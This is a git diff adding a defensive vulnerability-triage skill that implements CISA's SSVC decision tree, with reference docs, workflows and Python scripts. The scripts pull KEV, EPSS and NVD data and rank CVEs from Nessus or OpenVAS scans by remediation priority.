safety and public welfare: +- **Minimal** - Negligible impact on safety or public services +- **Material** - Noticeable degradation of public services +- **Irreversible** - Loss of life, major property damage, or critical infrastructure failure + +## SSVC Decision Outcomes + +| Outcome | Action Required | SLA | +|---------|----------------|-----| +| **Track** | Monitor, remediate in normal patch cycle | 90 days | +| **Track*** | Monitor closely, prioritize in next patch window | 60 days | +| **Attend** | Escalate to senior management, accelerate remediation | 14 days | +| **Act** | Apply mitigations immediately, executive-level awareness | 48 hours | + +## Workflow + +### Step 1: Ingest Vulnerability Data +```python +import requests +import json + +# Fetch CISA KEV catalog +kev_url = "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json" +kev_data = requests.get(kev_url).json() +kev_cves = {v['cveID'] for v in kev_data['vulnerabilities']} + +# Fetch EPSS scores for context +epss_url = "https://api.first.org/data/v1/epss" +epss_response = requests.get(epss_url, params={"cve": "CVE-2024-3400"}).json() +``` + +### Step 2: Evaluate Each Decision Point +```python +def evaluate_exploitation(cve_id, kev_set): + """Determine exploitation status from CISA KEV and EPSS data.""" + if cve_id in kev_set: + return "active" + epss = requests.get( + "https://api.first.org/data/v1/epss", + params={"cve": cve_id} + ).json() + if epss.get("data"): + score = float(epss["data"][0].get("epss", 0)) + if score > 0.5: + return "poc" + return "none" + +def evaluate_technical_impact(cvss_vector): + """Parse CVSS vector for scope and impact metrics.""" + if "S:C" in cvss_vector or "C:H/I:H/A:H" in cvss_vector: + return "total" + return "partial" + +def evaluate_automatability(cvss_vector, cve_description): + """Check if attack vector is network-based with low complexity.""" + if "AV:N" in cvss_vector and "AC:L" in cvss_vector and "UI:N" in cvss_vector: + return "yes" + return "no" +``` + +### Step 3: Apply SSVC Decision Tree +```python +def ssvc_decision(exploitation, tech_impact, automatability, mission_prevalence, public_wellbeing): + """CISA SSVC decision tree implementation.""" + if exploitation == "active": + if tech_impact == "total" or automatability == "yes": + return "Act" + if mission_prevalence in ("essential", "support"): + return "Act" + return "Attend" + if exploitation == "poc": + if automatability == "yes" and tech_impact == "total": + return "Attend" + if mission_prevalence == "essential": + return "Attend" + return "Track*" + # exploitation == "none" + if tech_impact == "total" and mission_prevalence == "essential": + return "Track*" + return "Track" +``` + +### Step 4: Generate Triage Report +```bash +# Run the SSVC triage script against scan results +python3 scripts/process.py --input scan_results.csv --output ssvc_triage_report.json + +# View summary +cat ssvc_triage_report.json | python3 -m json.tool | head -50 +``` + +## Integration with Vulnerability Scanners + +### Import from Nessus CSV +```bash +# Export Nessus scan as CSV, then process +python3 scripts/process.py \ + --input nessus_export.csv \ + --format nessus \ + --output ssvc_results.json +``` + +### Import from OpenVAS +```bash +# Export OpenVAS results as XML +python3 scripts/process.py \ + --input openvas_report.xml \ + --format openvas \ + --output ssvc_results.json +``` + +## Validation and Testing + +```bash +# Test SSVC decision logic with known CVEs +python3 -c " +from scripts.process import ssvc_decision +# CVE-2024-3400 - Palo Alto PAN-OS command injection (KEV listed) +assert ssvc_decision('active', 'total', 'yes', 'essential', 'material') == 'Act' +# CVE-2024-21887 - Ivanti Connect Secure (PoC available) +assert ssvc_decision('poc', 'total', 'yes', 'support', 'minimal') == 'Attend' +print('All SSVC decision tests passed') +" +``` + +## References + +- [CISA SSVC Framework](https://www.cisa.gov/stakeholder-specific-vulnerability-categorization-ssvc) +- [CERT/CC SSVC Documentation](https://certcc.github.io/SSVC/) +- [CISA SSVC Guide PDF](https://www.cisa.gov/sites/default/files/publications/cisa-ssvc-guide%20508c.pdf) +- [FIRST EPSS API](https://www.first.org/epss/) +- [CISA Known Exploited Vulnerabilities](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) diff --git a/skills/cybersecurity/triaging-vulnerabilities-with-ssvc-framework/references/api-reference.md b/skills/cybersecurity/triaging-vulnerabilities-with-ssvc-framework/references/api-reference.md new file mode 100644 index 00000000..aacfc206 --- /dev/null +++ b/skills/cybersecurity/triaging-vulnerabilities-with-ssvc-framework/references/api-reference.md @@ -0,0 +1,56 @@ +# API Reference: Triaging Vulnerabilities with SSVC Framework + +## SSVC Decision Outcomes + +| Decision | Action | Timeline | +|----------|--------|----------| +| Act | Immediate remediation required | 24-48 hours | +| Attend | Urgent, prioritize in current cycle | 1-2 weeks | +| Track* | Monitor closely, schedule remediation | Next patch cycle | +| Track | Standard vulnerability management | Regular cadence | + +## SSVC Decision Points + +| Decision Point | Values | Description | +|----------------|--------|-------------| +| Exploitation | none, poc, active | Current exploitation activity | +| Technical Impact | partial, total | Scope of compromise if exploited | +| Automatability | no, yes | Can exploitation be automated? | +| Mission Prevalence | minimal, support, essential | Asset criticality to mission | + +## Enrichment APIs + +| API | Endpoint | Purpose | +|-----|----------|---------| +| CISA KEV | `known_exploited_vulnerabilities.json` | Active exploitation check | +| FIRST EPSS | `api.first.org/data/v1/epss?cve=` | Exploitation probability | +| NVD | `services.nvd.nist.gov/rest/json/cves/2.0` | CVSS scores, CWE | + +## Decision Tree Key Paths + +| Exploitation | Impact | Automatability | Prevalence | Decision | +|-------------|--------|----------------|------------|----------| +| Active | Total | any | any | Act | +| Active | Partial | Yes | any | Act | +| Active | Partial | No | Essential | Act | +| Active | Partial | No | Support | Attend | +| PoC | Total | Yes | any | Attend | +| PoC | Total | No | any | Track* | +| PoC | Partial | any | any | Track* | +| None | Total | any | any | Track* | +| None | Partial | any | any | Track | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `requests` | >=2.28 | CISA KEV and EPSS API queries | +| `json` | stdlib | Report generation | +| `pathlib` | stdlib | Output directory management | + +## References + +- CISA SSVC Guide: https://www.cisa.gov/stakeholder-specific-vulnerability-categorization-ssvc +- SEI SSVC Paper: https://resources.sei.cmu.edu/library/asset-view.cfm?assetid=653459 +- FIRST EPSS: https://www.first.org/epss/ +- CISA KEV: https://www.cisa.gov/known-exploited-vulnerabilities-catalog diff --git a/skills/cybersecurity/triaging-vulnerabilities-with-ssvc-framework/references/standards.md b/skills/cybersecurity/triaging-vulnerabilities-with-ssvc-framework/references/standards.md new file mode 100644 index 00000000..a99a1c14 --- /dev/null +++ b/skills/cybersecurity/triaging-vulnerabilities-with-ssvc-framework/references/standards.md @@ -0,0 +1,64 @@ +# Standards and References - SSVC Vulnerability Triage + +## Primary Standards + +### CISA SSVC Framework +- **Source**: Cybersecurity and Infrastructure Security Agency (CISA) +- **URL**: https://www.cisa.gov/stakeholder-specific-vulnerability-categorization-ssvc +- **Version**: SSVC v2.0 (2022 revision by CISA with SEI) +- **Purpose**: Provides a decision-tree methodology for vulnerability prioritization based on five decision points specific to the stakeholder's context + +### CERT/CC SSVC Original Research +- **Source**: Carnegie Mellon University Software Engineering Institute +- **URL**: https://certcc.github.io/SSVC/ +- **Publication**: "Prioritizing Vulnerability Response: A Stakeholder-Specific Vulnerability Categorization" (2019) +- **Authors**: Jonathan Spring, Eric Hatleback, Allen Householder, Art Manion, Deana Shick +- **DOI**: https://doi.org/10.1184/R1/12124386 + +### CVSS v3.1 and v4.0 +- **Source**: Forum of Incident Response and Security Teams (FIRST) +- **URL**: https://www.first.org/cvss/ +- **CVSS v3.1 Specification**: https://www.first.org/cvss/v3.1/specification-document +- **CVSS v4.0 Specification**: https://www.first.org/cvss/v4.0/specification-document +- **Relevance**: SSVC complements CVSS by adding contextual decision points beyond base score severity + +### EPSS - Exploit Prediction Scoring System +- **Source**: FIRST EPSS Special Interest Group +- **URL**: https://www.first.org/epss/ +- **API Endpoint**: https://api.first.org/data/v1/epss +- **Model Documentation**: https://www.first.org/epss/model +- **Relevance**: EPSS probability scores inform the exploitation status decision point in SSVC + +## Regulatory and Compliance Context + +### CISA Binding Operational Directive 22-01 +- **Title**: Reducing the Significant Risk of Known Exploited Vulnerabilities +- **URL**: https://www.cisa.gov/binding-operational-directive-22-01 +- **Relevance**: Mandates federal agencies to remediate KEV-listed vulnerabilities within specified timeframes; SSVC aligns remediation priorities with BOD 22-01 requirements + +### NIST SP 800-40 Rev 4 +- **Title**: Guide to Enterprise Patch Management Planning +- **URL**: https://csrc.nist.gov/publications/detail/sp/800-40/rev-4/final +- **Relevance**: Provides organizational context for patch management decisions that SSVC informs + +### NIST Cybersecurity Framework (CSF) 2.0 +- **Function**: IDENTIFY (ID.RA - Risk Assessment) +- **URL**: https://www.nist.gov/cyberframework +- **Relevance**: SSVC directly supports the risk assessment category for vulnerability prioritization + +## Data Sources + +### CISA Known Exploited Vulnerabilities (KEV) Catalog +- **URL**: https://www.cisa.gov/known-exploited-vulnerabilities-catalog +- **JSON Feed**: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json +- **Update Frequency**: Updated as new exploited vulnerabilities are confirmed + +### National Vulnerability Database (NVD) +- **URL**: https://nvd.nist.gov/ +- **API v2**: https://services.nvd.nist.gov/rest/json/cves/2.0 +- **Relevance**: Provides CVSS scores and vulnerability details used in SSVC decision points + +### MITRE CVE Program +- **URL**: https://cve.mitre.org/ +- **CVE List**: https://www.cve.org/ +- **Relevance**: CVE identifiers are the primary key for linking vulnerability data across SSVC decision points diff --git a/skills/cybersecurity/triaging-vulnerabilities-with-ssvc-framework/references/workflows.md b/skills/cybersecurity/triaging-vulnerabilities-with-ssvc-framework/references/workflows.md new file mode 100644 index 00000000..040b350e --- /dev/null +++ b/skills/cybersecurity/triaging-vulnerabilities-with-ssvc-framework/references/workflows.md @@ -0,0 +1,115 @@ +# Workflows - SSVC Vulnerability Triage + +## Workflow 1: Initial SSVC Triage Pipeline + +### Trigger +New vulnerability scan results imported from Nessus, Qualys, OpenVAS, or other scanner. + +### Steps + +1. **Ingest Scan Results** + - Parse scanner output (CSV, XML, or JSON format) + - Extract CVE identifiers, affected hosts, CVSS vectors, and descriptions + - Deduplicate findings by CVE + host combination + +2. **Enrich with External Intelligence** + - Query CISA KEV catalog JSON feed for exploitation status + - Query FIRST EPSS API for exploitation probability scores + - Query NVD API v2 for CVSS v3.1/v4.0 vectors and CWE mappings + - Cache API responses to avoid rate limiting (NVD: 5 requests/30s without key, 50/30s with key) + +3. **Evaluate SSVC Decision Points** + - **Exploitation**: Map KEV membership to "Active", EPSS > 0.5 to "PoC", otherwise "None" + - **Technical Impact**: Parse CVSS vector; if Scope:Changed or CIA all High, mark "Total" + - **Automatability**: Network vector + Low complexity + No user interaction = "Yes" + - **Mission Prevalence**: Cross-reference affected assets with CMDB criticality tags + - **Public Well-Being**: Map asset function to safety impact categories + +4. **Apply Decision Tree** + - Walk the CISA SSVC decision tree with evaluated decision points + - Assign outcome: Track, Track*, Attend, or Act + +5. **Generate Prioritized Report** + - Sort vulnerabilities by SSVC outcome (Act > Attend > Track* > Track) + - Within each category, secondary sort by EPSS score descending + - Output JSON report and CSV summary for ticketing integration + +## Workflow 2: Continuous SSVC Monitoring + +### Trigger +Daily scheduled job (cron or CI/CD pipeline). + +### Steps + +1. **Refresh CISA KEV Catalog** + ```bash + curl -s -o /tmp/kev_catalog.json \ + "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json" + ``` + +2. **Check Previously Tracked CVEs Against Updated KEV** + - Compare current open vulnerabilities against latest KEV additions + - If a previously "Track" or "Track*" CVE appears in KEV, re-evaluate to "Attend" or "Act" + +3. **Refresh EPSS Scores** + ```bash + curl -s "https://api.first.org/data/v1/epss?cve=CVE-2024-3400,CVE-2024-21887" | \ + python3 -c "import sys,json; print(json.dumps(json.load(sys.stdin)['data'], indent=2))" + ``` + +4. **Update SSVC Outcomes** + - Re-run decision tree for all open vulnerabilities with refreshed data + - Flag any outcome changes (e.g., Track -> Attend) + +5. **Send Notifications** + - Slack/Teams webhook for any new "Act" or "Attend" outcomes + - Email digest for "Track*" changes + - Update Jira/ServiceNow tickets with new SSVC classification + +## Workflow 3: Asset-Context SSVC Enrichment + +### Trigger +New asset onboarded or asset criticality classification updated. + +### Steps + +1. **Import Asset Inventory** + - Pull from CMDB (ServiceNow, Snipe-IT, or similar) + - Map each asset to mission prevalence category: + - Minimal: development, test environments + - Support: backup systems, monitoring infrastructure + - Essential: production databases, authentication servers, customer-facing apps + +2. **Map Public Well-Being Impact** + - Healthcare systems, SCADA/ICS, transportation: Irreversible + - Public web services, financial processing: Material + - Internal tools, development systems: Minimal + +3. **Re-Evaluate Open Vulnerabilities** + - Apply updated asset context to all open vulnerability SSVC evaluations + - Generate delta report showing outcome changes + +## Workflow 4: SSVC Metrics and Reporting + +### Trigger +Weekly/monthly reporting cycle. + +### Metrics to Track + +| Metric | Calculation | Target | +|--------|------------|--------| +| Mean Time to Remediate (Act) | Avg days from Act classification to closure | < 2 days | +| Mean Time to Remediate (Attend) | Avg days from Attend classification to closure | < 14 days | +| SLA Breach Rate | % of vulns not remediated within SLA | < 5% | +| Act Backlog | Count of open Act-classified vulnerabilities | 0 | +| Attend Backlog | Count of open Attend-classified vulnerabilities | < 10 | +| Coverage Rate | % of vulnerabilities processed through SSVC | > 95% | + +### Report Generation +```bash +python3 scripts/process.py \ + --mode report \ + --input ssvc_results.json \ + --period weekly \ + --output ssvc_metrics_report.html +``` diff --git a/skills/cybersecurity/triaging-vulnerabilities-with-ssvc-framework/scripts/agent.py b/skills/cybersecurity/triaging-vulnerabilities-with-ssvc-framework/scripts/agent.py new file mode 100755 index 00000000..5b36ac7f --- /dev/null +++ b/skills/cybersecurity/triaging-vulnerabilities-with-ssvc-framework/scripts/agent.py @@ -0,0 +1,219 @@ +#!/usr/bin/env python3 +"""Agent for triaging vulnerabilities with the SSVC framework. + +Implements CISA's Stakeholder-Specific Vulnerability Categorization +decision tree to produce actionable priorities: Track, Track*, +Attend, or Act based on exploitation status, technical impact, +automatability, and mission prevalence. +""" + +import json +import sys +from pathlib import Path +from datetime import datetime + +try: + import requests +except ImportError: + requests = None + + +class ExploitationStatus: + NONE = "none" + POC = "poc" + ACTIVE = "active" + + +class TechnicalImpact: + PARTIAL = "partial" + TOTAL = "total" + + +class Automatability: + NO = "no" + YES = "yes" + + +class MissionPrevalence: + MINIMAL = "minimal" + SUPPORT = "support" + ESSENTIAL = "essential" + + +class SSVCDecision: + TRACK = "Track" + TRACK_STAR = "Track*" + ATTEND = "Attend" + ACT = "Act" + + +SSVC_DECISION_TREE = { + (ExploitationStatus.ACTIVE, TechnicalImpact.TOTAL): SSVCDecision.ACT, + (ExploitationStatus.ACTIVE, TechnicalImpact.PARTIAL, Automatability.YES): SSVCDecision.ACT, + (ExploitationStatus.ACTIVE, TechnicalImpact.PARTIAL, Automatability.NO, MissionPrevalence.ESSENTIAL): SSVCDecision.ACT, + (ExploitationStatus.ACTIVE, TechnicalImpact.PARTIAL, Automatability.NO, MissionPrevalence.SUPPORT): SSVCDecision.ATTEND, + (ExploitationStatus.ACTIVE, TechnicalImpact.PARTIAL, Automatability.NO, MissionPrevalence.MINIMAL): SSVCDecision.ATTEND, + (ExploitationStatus.POC, TechnicalImpact.TOTAL, Automatability.YES): SSVCDecision.ATTEND, + (ExploitationStatus.POC, TechnicalImpact.TOTAL, Automatability.NO): SSVCDecision.TRACK_STAR, + (ExploitationStatus.POC, TechnicalImpact.PARTIAL): SSVCDecision.TRACK_STAR, + (ExploitationStatus.NONE, TechnicalImpact.TOTAL): SSVCDecision.TRACK_STAR, + (ExploitationStatus.NONE, TechnicalImpact.PARTIAL): SSVCDecision.TRACK, +} + + +class SSVCTriageAgent: + """Triages vulnerabilities using the SSVC decision tree.""" + + def __init__(self, output_dir="./ssvc_triage"): + self.output_dir = Path(output_dir) + self.output_dir.mkdir(parents=True, exist_ok=True) + self.results = [] + + def check_cisa_kev(self, cve_id): + """Check if CVE is in CISA Known Exploited Vulnerabilities catalog.""" + if not requests: + return None + resp = None + try: + resp = requests.get( + "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json", + timeout=15, + ) + except Exception: + return None + if resp and resp.status_code == 200: + data = resp.json() + for vuln in data.get("vulnerabilities", []): + if vuln.get("cveID") == cve_id: + return { + "in_kev": True, + "vendor": vuln.get("vendorProject"), + "product": vuln.get("product"), + "date_added": vuln.get("dateAdded"), + "due_date": vuln.get("dueDate"), + } + return {"in_kev": False} + + def get_epss_score(self, cve_id): + """Get EPSS probability score from FIRST API.""" + if not requests: + return None + try: + resp = requests.get(f"https://api.first.org/data/v1/epss?cve={cve_id}", timeout=10) + if resp and resp.status_code == 200: + data = resp.json().get("data", []) + if data: + return { + "cve": cve_id, + "epss": float(data[0].get("epss", 0)), + "percentile": float(data[0].get("percentile", 0)), + } + except Exception: + pass + return None + + def determine_exploitation(self, cve_id): + """Determine exploitation status using KEV and EPSS.""" + kev = self.check_cisa_kev(cve_id) + if kev and kev.get("in_kev"): + return ExploitationStatus.ACTIVE, kev + epss = self.get_epss_score(cve_id) + if epss and epss.get("epss", 0) > 0.5: + return ExploitationStatus.POC, epss + if epss and epss.get("epss", 0) > 0.1: + return ExploitationStatus.POC, epss + return ExploitationStatus.NONE, epss + + def evaluate_decision(self, exploitation, technical_impact, automatability=None, + mission_prevalence=None): + """Walk the SSVC decision tree to produce a prioritization.""" + if (exploitation, technical_impact) in SSVC_DECISION_TREE: + return SSVC_DECISION_TREE[(exploitation, technical_impact)] + if automatability: + key = (exploitation, technical_impact, automatability) + if key in SSVC_DECISION_TREE: + return SSVC_DECISION_TREE[key] + if mission_prevalence: + key = (exploitation, technical_impact, automatability, mission_prevalence) + if key in SSVC_DECISION_TREE: + return SSVC_DECISION_TREE[key] + return SSVCDecision.TRACK + + def triage_cve(self, cve_id, technical_impact=TechnicalImpact.PARTIAL, + automatability=Automatability.NO, + mission_prevalence=MissionPrevalence.SUPPORT): + """Full SSVC triage for a single CVE.""" + exploitation, enrichment = self.determine_exploitation(cve_id) + decision = self.evaluate_decision(exploitation, technical_impact, + automatability, mission_prevalence) + result = { + "cve_id": cve_id, + "exploitation_status": exploitation, + "technical_impact": technical_impact, + "automatability": automatability, + "mission_prevalence": mission_prevalence, + "decision": decision, + "enrichment": enrichment, + "remediation_timeline": self._get_timeline(decision), + } + self.results.append(result) + return result + + def _get_timeline(self, decision): + timelines = { + SSVCDecision.ACT: "Immediate - remediate within 24-48 hours", + SSVCDecision.ATTEND: "Urgent - remediate within 1-2 weeks", + SSVCDecision.TRACK_STAR: "Scheduled - remediate in next patch cycle", + SSVCDecision.TRACK: "Monitor - include in regular vulnerability management", + } + return timelines.get(decision, "Unknown") + + def triage_batch(self, cves, defaults=None): + """Triage a list of CVEs with optional default parameters.""" + defaults = defaults or {} + for cve in cves: + self.triage_cve( + cve, + technical_impact=defaults.get("technical_impact", TechnicalImpact.PARTIAL), + automatability=defaults.get("automatability", Automatability.NO), + mission_prevalence=defaults.get("mission_prevalence", MissionPrevalence.SUPPORT), + ) + return self.results + + def generate_report(self, cves=None): + if cves: + self.triage_batch(cves) + by_decision = {} + for r in self.results: + d = r["decision"] + by_decision[d] = by_decision.get(d, 0) + 1 + + report = { + "report_date": datetime.utcnow().isoformat(), + "framework": "SSVC (CISA Stakeholder-Specific Vulnerability Categorization)", + "total_triaged": len(self.results), + "by_decision": by_decision, + "triage_results": self.results, + } + out = self.output_dir / "ssvc_triage_report.json" + with open(out, "w") as f: + json.dump(report, f, indent=2) + print(json.dumps(report, indent=2)) + return report + + +def main(): + if len(sys.argv) < 2: + print("Usage: agent.py [CVE-ID2 ...] [--impact total|partial]") + sys.exit(1) + cves = [a for a in sys.argv[1:] if a.startswith("CVE-")] + impact = TechnicalImpact.PARTIAL + if "--impact" in sys.argv: + val = sys.argv[sys.argv.index("--impact") + 1] + impact = TechnicalImpact.TOTAL if val == "total" else TechnicalImpact.PARTIAL + agent = SSVCTriageAgent() + agent.generate_report(cves) + + +if __name__ == "__main__": + main() diff --git a/skills/cybersecurity/triaging-vulnerabilities-with-ssvc-framework/scripts/process.py b/skills/cybersecurity/triaging-vulnerabilities-with-ssvc-framework/scripts/process.py new file mode 100755 index 00000000..e9d62bb1 --- /dev/null +++ b/skills/cybersecurity/triaging-vulnerabilities-with-ssvc-framework/scripts/process.py @@ -0,0 +1,346 @@ +#!/usr/bin/env python3 +"""SSVC Vulnerability Triage Processor. + +Evaluates vulnerabilities against CISA's Stakeholder-Specific Vulnerability +Categorization (SSVC) decision tree and produces prioritized triage reports. +""" + +import argparse +import csv +import json +import sys +import time +import xml.etree.ElementTree as ET +from datetime import datetime, timezone +from pathlib import Path + +import requests + +KEV_URL = "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json" +EPSS_API = "https://api.first.org/data/v1/epss" +NVD_API = "https://services.nvd.nist.gov/rest/json/cves/2.0" + +SSVC_SLA = { + "Act": 2, + "Attend": 14, + "Track*": 60, + "Track": 90, +} + + +def fetch_kev_catalog(): + """Download the CISA Known Exploited Vulnerabilities catalog.""" + resp = requests.get(KEV_URL, timeout=30) + resp.raise_for_status() + data = resp.json() + return {v["cveID"] for v in data.get("vulnerabilities", [])} + + +def fetch_epss_scores(cve_ids): + """Fetch EPSS scores for a list of CVE IDs from FIRST API.""" + scores = {} + batch_size = 100 + for i in range(0, len(cve_ids), batch_size): + batch = cve_ids[i : i + batch_size] + params = {"cve": ",".join(batch)} + resp = requests.get(EPSS_API, params=params, timeout=30) + if resp.status_code == 200: + for entry in resp.json().get("data", []): + scores[entry["cve"]] = { + "epss": float(entry.get("epss", 0)), + "percentile": float(entry.get("percentile", 0)), + } + time.sleep(1) + return scores + + +def fetch_nvd_cve(cve_id, api_key=None): + """Fetch CVE details from NVD API v2.""" + params = {"cveId": cve_id} + headers = {} + if api_key: + headers["apiKey"] = api_key + resp = requests.get(NVD_API, params=params, headers=headers, timeout=30) + if resp.status_code == 200: + vulns = resp.json().get("vulnerabilities", []) + if vulns: + return vulns[0].get("cve", {}) + return None + + +def evaluate_exploitation(cve_id, kev_set, epss_scores): + """Determine exploitation status: active, poc, or none.""" + if cve_id in kev_set: + return "active" + epss_data = epss_scores.get(cve_id, {}) + if epss_data.get("epss", 0) > 0.5: + return "poc" + if epss_data.get("epss", 0) > 0.1: + return "poc" + return "none" + + +def evaluate_technical_impact(cvss_vector): + """Assess technical impact from CVSS vector string.""" + if not cvss_vector: + return "partial" + vector_upper = cvss_vector.upper() + if "S:C" in vector_upper: + return "total" + if "C:H" in vector_upper and "I:H" in vector_upper and "A:H" in vector_upper: + return "total" + if "C:H" in vector_upper and "I:H" in vector_upper: + return "total" + return "partial" + + +def evaluate_automatability(cvss_vector): + """Determine if exploitation can be automated.""" + if not cvss_vector: + return "no" + vector_upper = cvss_vector.upper() + network = "AV:N" in vector_upper + low_complexity = "AC:L" in vector_upper + no_user_interaction = "UI:N" in vector_upper + if network and low_complexity and no_user_interaction: + return "yes" + return "no" + + +def ssvc_decision(exploitation, tech_impact, automatability, mission_prevalence, public_wellbeing): + """Apply CISA SSVC decision tree to produce triage outcome. + + Returns one of: Act, Attend, Track*, Track + """ + if exploitation == "active": + if automatability == "yes": + return "Act" + if tech_impact == "total": + if mission_prevalence in ("essential", "support"): + return "Act" + return "Attend" + if mission_prevalence == "essential": + return "Attend" + if public_wellbeing in ("irreversible", "material"): + return "Attend" + return "Attend" + + if exploitation == "poc": + if automatability == "yes" and tech_impact == "total": + if mission_prevalence in ("essential", "support"): + return "Attend" + return "Track*" + if tech_impact == "total" and mission_prevalence == "essential": + return "Attend" + if public_wellbeing == "irreversible": + return "Attend" + return "Track*" + + # exploitation == "none" + if tech_impact == "total" and mission_prevalence == "essential": + return "Track*" + if automatability == "yes" and mission_prevalence == "essential": + return "Track*" + return "Track" + + +def parse_nessus_csv(filepath): + """Parse Nessus CSV export into vulnerability records.""" + vulns = [] + with open(filepath, "r", encoding="utf-8") as f: + reader = csv.DictReader(f) + for row in reader: + cve = row.get("CVE", "").strip() + if not cve or not cve.startswith("CVE-"): + continue + vulns.append( + { + "cve_id": cve, + "host": row.get("Host", "unknown"), + "port": row.get("Port", ""), + "plugin_name": row.get("Name", ""), + "severity": row.get("Severity", ""), + "cvss_vector": row.get("CVSS V3 Vector", ""), + "description": row.get("Synopsis", ""), + } + ) + return vulns + + +def parse_openvas_xml(filepath): + """Parse OpenVAS XML report into vulnerability records.""" + vulns = [] + tree = ET.parse(filepath) + root = tree.getroot() + for result in root.iter("result"): + nvt = result.find("nvt") + if nvt is None: + continue + cve_elem = nvt.find("cve") + if cve_elem is None or not cve_elem.text or cve_elem.text == "NOCVE": + continue + host_elem = result.find("host") + port_elem = result.find("port") + vulns.append( + { + "cve_id": cve_elem.text.strip(), + "host": host_elem.text.strip() if host_elem is not None else "unknown", + "port": port_elem.text.strip() if port_elem is not None else "", + "plugin_name": nvt.findtext("name", ""), + "severity": result.findtext("severity", ""), + "cvss_vector": nvt.findtext("tags", ""), + "description": result.findtext("description", ""), + } + ) + return vulns + + +def parse_generic_csv(filepath): + """Parse generic CSV with cve_id, host, cvss_vector columns.""" + vulns = [] + with open(filepath, "r", encoding="utf-8") as f: + reader = csv.DictReader(f) + for row in reader: + cve = row.get("cve_id", "").strip() + if not cve: + continue + vulns.append( + { + "cve_id": cve, + "host": row.get("host", "unknown"), + "port": row.get("port", ""), + "plugin_name": row.get("plugin_name", ""), + "severity": row.get("severity", ""), + "cvss_vector": row.get("cvss_vector", ""), + "description": row.get("description", ""), + "mission_prevalence": row.get("mission_prevalence", "support"), + "public_wellbeing": row.get("public_wellbeing", "minimal"), + } + ) + return vulns + + +def run_triage(vulns, kev_set, epss_scores, default_mission="support", default_wellbeing="minimal"): + """Run SSVC triage on a list of vulnerability records.""" + results = [] + for vuln in vulns: + cve_id = vuln["cve_id"] + exploitation = evaluate_exploitation(cve_id, kev_set, epss_scores) + tech_impact = evaluate_technical_impact(vuln.get("cvss_vector", "")) + automatability = evaluate_automatability(vuln.get("cvss_vector", "")) + mission = vuln.get("mission_prevalence", default_mission) + wellbeing = vuln.get("public_wellbeing", default_wellbeing) + + outcome = ssvc_decision(exploitation, tech_impact, automatability, mission, wellbeing) + epss_data = epss_scores.get(cve_id, {}) + + results.append( + { + "cve_id": cve_id, + "host": vuln.get("host", "unknown"), + "port": vuln.get("port", ""), + "plugin_name": vuln.get("plugin_name", ""), + "ssvc_outcome": outcome, + "sla_days": SSVC_SLA[outcome], + "exploitation_status": exploitation, + "technical_impact": tech_impact, + "automatability": automatability, + "mission_prevalence": mission, + "public_wellbeing": wellbeing, + "epss_score": epss_data.get("epss", 0), + "epss_percentile": epss_data.get("percentile", 0), + "in_kev": cve_id in kev_set, + } + ) + + outcome_order = {"Act": 0, "Attend": 1, "Track*": 2, "Track": 3} + results.sort(key=lambda r: (outcome_order.get(r["ssvc_outcome"], 4), -r["epss_score"])) + return results + + +def generate_report(results, output_path, report_format="json"): + """Generate triage report in JSON or CSV format.""" + summary = { + "generated_at": datetime.now(timezone.utc).isoformat(), + "total_vulnerabilities": len(results), + "outcome_counts": {}, + "results": results, + } + for r in results: + outcome = r["ssvc_outcome"] + summary["outcome_counts"][outcome] = summary["outcome_counts"].get(outcome, 0) + 1 + + if report_format == "csv": + if results: + with open(output_path, "w", newline="", encoding="utf-8") as f: + writer = csv.DictWriter(f, fieldnames=results[0].keys()) + writer.writeheader() + writer.writerows(results) + else: + with open(output_path, "w", encoding="utf-8") as f: + json.dump(summary, f, indent=2) + + return summary + + +def main(): + parser = argparse.ArgumentParser(description="SSVC Vulnerability Triage Processor") + parser.add_argument("--input", required=True, help="Path to vulnerability scan results") + parser.add_argument("--output", default="ssvc_triage_report.json", help="Output report path") + parser.add_argument( + "--format", + choices=["nessus", "openvas", "generic"], + default="generic", + help="Input format", + ) + parser.add_argument( + "--output-format", choices=["json", "csv"], default="json", help="Output format" + ) + parser.add_argument("--nvd-api-key", help="NVD API key for higher rate limits") + parser.add_argument( + "--mission-prevalence", + choices=["minimal", "support", "essential"], + default="support", + help="Default mission prevalence", + ) + parser.add_argument( + "--public-wellbeing", + choices=["minimal", "material", "irreversible"], + default="minimal", + help="Default public well-being impact", + ) + args = parser.parse_args() + + print("[*] Fetching CISA KEV catalog...") + kev_set = fetch_kev_catalog() + print(f" Loaded {len(kev_set)} known exploited vulnerabilities") + + print(f"[*] Parsing input file: {args.input}") + if args.format == "nessus": + vulns = parse_nessus_csv(args.input) + elif args.format == "openvas": + vulns = parse_openvas_xml(args.input) + else: + vulns = parse_generic_csv(args.input) + print(f" Found {len(vulns)} vulnerability records") + + cve_ids = list({v["cve_id"] for v in vulns}) + print(f"[*] Fetching EPSS scores for {len(cve_ids)} unique CVEs...") + epss_scores = fetch_epss_scores(cve_ids) + + print("[*] Running SSVC triage...") + results = run_triage( + vulns, kev_set, epss_scores, args.mission_prevalence, args.public_wellbeing + ) + + print(f"[*] Generating report: {args.output}") + summary = generate_report(results, args.output, args.output_format) + + print("\n[+] SSVC Triage Summary:") + for outcome, count in sorted(summary["outcome_counts"].items()): + print(f" {outcome}: {count}") + print(f" Total: {summary['total_vulnerabilities']}") + + +if __name__ == "__main__": + main() diff --git a/skills/cybersecurity/validating-backup-integrity-for-recovery/LICENSE b/skills/cybersecurity/validating-backup-integrity-for-recovery/LICENSE new file mode 100644 index 00000000..d8851182 --- /dev/null +++ b/skills/cybersecurity/validating-backup-integrity-for-recovery/LICENSE @@ -0,0 +1,201 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) 